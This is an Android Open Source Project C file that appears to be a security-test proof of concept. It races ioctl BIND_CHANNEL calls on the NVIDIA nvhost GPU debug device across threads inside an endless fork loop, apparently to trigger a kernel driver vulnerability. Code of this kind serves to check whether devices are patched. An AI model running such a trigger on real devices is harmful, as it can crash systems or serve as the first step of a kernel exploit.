1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <sys/types.h>
18 #include <sys/stat.h>
19 #include <fcntl.h>
20 #include <unistd.h>
21 #include <sys/syscall.h>
22 #include <string.h>
23 #include <stdint.h>
24 #include <pthread.h>
25 #include <linux/ion.h>
26
27 #define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul
28
29
30 int fd_gpu;
31 int fd_dbg;
32 int fd_dbg_1;
33
thr(void * arg)34 void *thr(void *arg)
35 {
36 int ioarg[2];
37 switch ((long)arg) {
38 case 0:
39 fd_dbg = open("/dev/nvhost-dbg-gpu",0x0ul,0x101000ul);
40 break;
41 case 1:
42 fd_dbg_1 = dup3(fd_dbg, fd_dbg,0x80000ul);
43 break;
44 case 2:
45 ioarg[0] = fd_dbg_1;
46 ioarg[1] = 0;
47 ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg, 0, 0, 0);
48 break;
49 case 3:
50 fd_gpu = open("/dev/nvhost-gpu",0x0ul,0x2000ul);
51 break;
52 case 4:
53 ioarg[0] = fd_gpu;
54 ioarg[1] = 0;
55 ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
56 break;
57 case 5:
58 ioarg[0] = fd_gpu;
59 ioarg[1] = 0;
60 ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
61 break;
62 }
63 return 0;
64 }
poc()65 int poc()
66 {
67 long i;
68 pthread_t th;
69 for (i = 0; i < 6; i++) {
70 pthread_create(&th, 0, thr, (void*)i);
71 usleep(10000);
72 }
73 for (i = 0; i < 6; i++) {
74 pthread_create(&th, 0, thr, (void*)i);
75 if (i%2==0)
76 usleep(10000);
77 }
78 usleep(100000);
79 return 0;
80 }
81
82
main(int argc,char const * argv[])83 int main(int argc, char const *argv[])
84 {
85 int pid;
86 while(1){
87 pid = fork();
88 if(pid){
89 usleep(30000);
90 }else
91 return poc();
92 }
93 return 0;
94 }
95